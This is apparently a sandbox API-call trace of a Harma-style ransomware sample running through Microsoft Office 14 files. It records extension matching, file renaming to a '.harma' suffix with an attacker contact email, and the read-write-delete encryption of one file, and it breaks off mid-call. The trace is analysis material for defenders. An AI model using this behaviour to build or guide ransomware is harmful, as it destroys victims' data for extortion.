lstrlenW (lpString=".doc") returned 4 [0159.543] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.543] lstrlenW (lpString=".docx") returned 5 [0159.543] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.543] lstrlenW (lpString=".pdf") returned 4 [0159.543] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.543] lstrlenW (lpString=".xls") returned 4 [0159.543] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.543] lstrlenW (lpString=".xlsx") returned 5 [0159.543] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.543] lstrlenW (lpString=".ppt") returned 4 [0159.543] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.543] lstrlenW (lpString=".zip") returned 4 [0159.543] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.543] lstrlenW (lpString=".rar") returned 4 [0159.543] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".bz2") returned 4 [0159.544] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.544] lstrlenW (lpString=".7z") returned 3 [0159.544] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString=".dbf") returned 4 [0159.544] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString=".1cd") returned 4 [0159.544] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString=".jpg") returned 4 [0159.544] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString=".doc") returned 4 [0159.544] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".docx") returned 5 [0159.544] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0159.544] lstrlenW (lpString=".pdf") returned 4 [0159.544] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".xls") returned 4 [0159.544] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".xlsx") returned 5 [0159.544] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0159.544] lstrlenW (lpString=".ppt") returned 4 [0159.544] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.544] lstrlenW (lpString=".zip") returned 4 [0159.544] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".rar") returned 4 [0159.544] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.544] lstrlenW (lpString=".bz2") returned 4 [0159.545] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.545] lstrlenW (lpString=".7z") returned 3 [0159.545] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.545] lstrlenW (lpString=".dbf") returned 4 [0159.545] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.545] lstrlenW (lpString=".1cd") returned 4 [0159.545] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0159.545] lstrlenW (lpString=".jpg") returned 4 [0159.545] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.545] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.545] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0159.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.546] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=154496) returned 1 [0159.546] CloseHandle (hObject=0x34c) returned 1 [0159.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll")) returned 0x20 [0159.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.546] lstrlenW (lpString=".doc") returned 4 [0159.546] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.546] lstrlenW (lpString=".docx") returned 5 [0159.546] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0159.546] lstrlenW (lpString=".pdf") returned 4 [0159.546] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.546] lstrlenW (lpString=".xls") returned 4 [0159.546] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.546] lstrlenW (lpString=".xlsx") returned 5 [0159.546] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0159.546] lstrlenW (lpString=".ppt") returned 4 [0159.546] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString=".zip") returned 4 [0159.547] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString=".rar") returned 4 [0159.547] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString=".bz2") returned 4 [0159.547] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.547] lstrlenW (lpString=".7z") returned 3 [0159.547] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString=".dbf") returned 4 [0159.547] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString=".1cd") returned 4 [0159.547] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString=".jpg") returned 4 [0159.547] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.547] lstrlenW (lpString=".doc") returned 4 [0159.547] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString=".docx") returned 5 [0159.547] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0159.547] lstrlenW (lpString=".pdf") returned 4 [0159.547] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString=".xls") returned 4 [0159.547] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.547] lstrlenW (lpString=".xlsx") returned 5 [0159.547] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0159.547] lstrlenW (lpString=".ppt") returned 4 [0159.547] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.548] lstrlenW (lpString=".zip") returned 4 [0159.548] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.548] lstrlenW (lpString=".rar") returned 4 [0159.548] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.548] lstrlenW (lpString=".bz2") returned 4 [0159.548] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.548] lstrlenW (lpString=".7z") returned 3 [0159.548] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.548] lstrlenW (lpString=".dbf") returned 4 [0159.548] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.548] lstrlenW (lpString=".1cd") returned 4 [0159.548] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0159.548] lstrlenW (lpString=".jpg") returned 4 [0159.548] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.548] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0159.548] lstrlenW (lpString="PMENURES.DLL") returned 12 [0159.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.563] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=10624) returned 1 [0159.563] CloseHandle (hObject=0x34c) returned 1 [0159.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll")) returned 0x20 [0159.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.563] lstrlenW (lpString=".doc") returned 4 [0159.563] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.563] lstrlenW (lpString=".docx") returned 5 [0159.563] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0159.564] lstrlenW (lpString=".pdf") returned 4 [0159.564] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString=".xls") returned 4 [0159.564] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString=".xlsx") returned 5 [0159.564] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0159.564] lstrlenW (lpString=".ppt") returned 4 [0159.564] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString=".zip") returned 4 [0159.564] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString=".rar") returned 4 [0159.564] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString=".bz2") returned 4 [0159.564] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.564] lstrlenW (lpString=".7z") returned 3 [0159.564] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString=".dbf") returned 4 [0159.564] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString=".1cd") returned 4 [0159.564] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString=".jpg") returned 4 [0159.564] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.564] lstrlenW (lpString=".doc") returned 4 [0159.564] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0159.564] lstrlenW (lpString=".docx") returned 5 [0159.564] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0159.565] lstrlenW (lpString=".pdf") returned 4 [0159.565] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0159.565] lstrlenW (lpString=".xls") returned 4 [0159.565] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0159.565] lstrlenW (lpString=".xlsx") returned 5 [0159.565] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0159.565] lstrlenW (lpString=".ppt") returned 4 [0159.565] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0159.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.565] lstrlenW (lpString=".zip") returned 4 [0159.565] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0159.565] lstrlenW (lpString=".rar") returned 4 [0159.565] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0159.565] lstrlenW (lpString=".bz2") returned 4 [0159.565] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0159.565] lstrlenW (lpString=".7z") returned 3 [0159.565] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0159.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.565] lstrlenW (lpString=".dbf") returned 4 [0159.565] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0159.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.565] lstrlenW (lpString=".1cd") returned 4 [0159.565] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0159.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0159.565] lstrlenW (lpString=".jpg") returned 4 [0159.565] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0159.565] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0159.566] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0159.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.566] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=5042788) returned 1 [0159.566] CloseHandle (hObject=0x34c) returned 1 [0159.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0x20 [0159.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString=".doc") returned 4 [0159.567] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.567] lstrlenW (lpString=".docx") returned 5 [0159.567] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0159.567] lstrlenW (lpString=".pdf") returned 4 [0159.567] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.567] lstrlenW (lpString=".xls") returned 4 [0159.567] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.567] lstrlenW (lpString=".xlsx") returned 5 [0159.567] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0159.567] lstrlenW (lpString=".ppt") returned 4 [0159.567] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString=".zip") returned 4 [0159.567] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.567] lstrlenW (lpString=".rar") returned 4 [0159.567] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.567] lstrlenW (lpString=".bz2") returned 4 [0159.567] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.567] lstrlenW (lpString=".7z") returned 3 [0159.567] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString=".dbf") returned 4 [0159.567] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString=".1cd") returned 4 [0159.567] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.567] lstrlenW (lpString=".jpg") returned 4 [0159.568] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString=".doc") returned 4 [0159.568] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0159.568] lstrlenW (lpString=".docx") returned 5 [0159.568] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0159.568] lstrlenW (lpString=".pdf") returned 4 [0159.568] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString=".xls") returned 4 [0159.568] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString=".xlsx") returned 5 [0159.568] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0159.568] lstrlenW (lpString=".ppt") returned 4 [0159.568] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString=".zip") returned 4 [0159.568] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString=".rar") returned 4 [0159.568] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0159.568] lstrlenW (lpString=".bz2") returned 4 [0159.568] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0159.568] lstrlenW (lpString=".7z") returned 3 [0159.568] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString=".dbf") returned 4 [0159.568] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString=".1cd") returned 4 [0159.568] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0159.568] lstrlenW (lpString=".jpg") returned 4 [0159.568] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0159.569] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0159.569] lstrlenW (lpString="POWERPNT.DEV_COL.HXC") returned 20 [0159.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.569] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33bff1c | out: lpFileSize=0x33bff1c*=656) returned 1 [0159.569] CloseHandle (hObject=0x34c) returned 1 [0159.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 0x20 [0159.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0159.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0159.570] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.570] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0159.570] GetLastError () returned 0x0 [0159.570] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x290, lpOverlapped=0x0) returned 1 [0159.762] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0159.763] ReadFile (in: hFile=0x34c, lpBuffer=0x3e30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesRead=0x33bfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.763] WriteFile (in: hFile=0x388, lpBuffer=0x3e30020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x33bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e30020*, lpNumberOfBytesWritten=0x33bfc9c*=0xfc, lpOverlapped=0x0) returned 1 [0159.763] SetEndOfFile (hFile=0x388) returned 1 [0159.763] CloseHandle (hObject=0x388) returned 1 [0159.763] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.763] SetEndOfFile (hFile=0x34c) returned 1 [0159.765] CloseHandle (hObject=0x34c) returned 1 [0159.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0159.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev_col.hxc")) returned 1 [0159.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV_COL.HXC") returned 68 [0159.792] lstrlenW (lpString=".doc") returned 4 [0159.792] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0159.792] lstrlenW (lpString=".docx") returned 5 [0159.792] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0159.792] lstrlenW (lpString=".pdf") returned 4 [0159.792] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0159.792] lstrlenW (lpString=".xls") returned 4 [0159.792] lstrcmpiW (lpString1=".xls", lpString2=".HXC") 